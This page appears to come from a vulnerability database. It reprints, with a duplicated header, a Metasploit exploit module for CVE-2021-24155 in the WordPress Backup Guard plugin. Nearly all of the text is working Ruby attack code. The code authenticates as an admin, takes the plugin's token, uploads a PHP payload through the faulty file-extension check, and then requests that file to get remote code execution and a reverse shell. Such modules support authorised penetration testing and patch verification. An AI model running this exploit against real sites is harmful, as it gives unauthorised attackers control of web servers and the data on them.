Vulnerabilities

WordPress Backup Guard Authenticated Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit:: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Wordpress Plugin Backup Guard - Authenticated Remote Code Execution',
'Description' => %q{
This module allows an attacker with a privileged Wordpress account to launch a reverse shell
due to an arbitrary file upload vulnerability in Wordpress plugin Backup Guard < 1.6.0.
This is due to an incorrect check of the uploaded file extension which should be of SGBP type.
Then, the uploaded payload can be triggered by a call to `/wp-content/uploads/backup-guard/<random_payload_name>.php`
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nguyen Van Khanh', # Original PoC, discovery
'Ron Jost', # Exploit-db
'Yann Castel (yann.castel[at]orange.com)' # Metasploit module
],
'References' =>
[
['EDB', '50093'],
['CVE', '2021-24155'],
['CWE', '434'],
['WPVDB', 'd442acac-4394-45e4-b6bb-adf4a40960fb'],
['URL', 'https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=2473510%40backup&old=2472212%40backup&sfp_email=&sfph_mail=']
],
'Platform' => [ 'php' ],
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Wordpress Backup Guard < 1.6.0', {}]
],
'Privileged' => false,
'DisclosureDate' => '2021-05-04',
'Notes' =>
{
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)

register_options [
OptString.new('USERNAME', [true, 'Username of the admin account', 'admin']),
OptString.new('PASSWORD', [true, 'Password of the admin account', 'admin']),
OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/'])
]
end

def check
return CheckCode::Unknown('Server not online or not detected as wordpress') unless wordpress_and_online?

cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
return CheckCode::Detected('Authentication to Wordpress failed.') unless cookie

check_plugin_version_from_readme('backup', '1.6.0')
end

def get_token(cookie)
r = send_request_cgi({
'method' => 'GET',
'cookie' => cookie,
'uri' => normalize_uri(target_uri.path, 'wp-admin/admin.php'),
'Referer' => full_uri('/wp-admin/users.php'),
'vars_get' => {
'page' => 'backup_guard_backups'
}
})
fail_with(Failure::Unknown, "Target #{RHOST} could not be reached.") unless r
res = r.body.to_s.match(/&token=(h+)/)
fail_with(Failure::UnexpectedReply, 'Failed to retrieve the token.') unless res
res[1]
end

def exploit
cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
fail_with(Failure::UnexpectedReply, 'Authentication failed') unless cookie
token = get_token(cookie)
fail_with(Failure::UnexpectedReply, 'Failed to retrieve the Backup Guard token') unless token
payload_name = "#{Rex::Text.rand_text_alpha_lower(5)}.php"

post_data = Rex::MIME::Message.new
post_data.add_part(payload.encoded, 'text/php', nil, "form-data; name='files[]'; filename=#{payload_name}")

print_status("Uploading file '#{payload_name}' containing the payload...")

r = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/wp-admin/admin-ajax.php'),
'headers' => {
'Origin' => full_uri(''),
'Referer' => full_uri('/wp-admin/admin.php?page=backup_guard_backups'),
'X-Requested-With' => 'XMLHttpRequest'
},
'vars_get' =>
{
'action' => 'backup_guard_importBackup',
'token' => token
},
'cookie' => cookie,
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
)

fail_with(Failure::UnexpectedReply, "Wasn't able to upload the payload file") unless r&.code == 200
register_files_for_cleanup(payload_name.to_s)

print_status('Triggering the payload ...')
send_request_cgi(
'method' => 'GET',
'cookie' => cookie,
'uri' => normalize_uri(target_uri.path, "/wp-content/uploads/backup-guard/#{payload_name}")
)
end
end

Share your comment publicly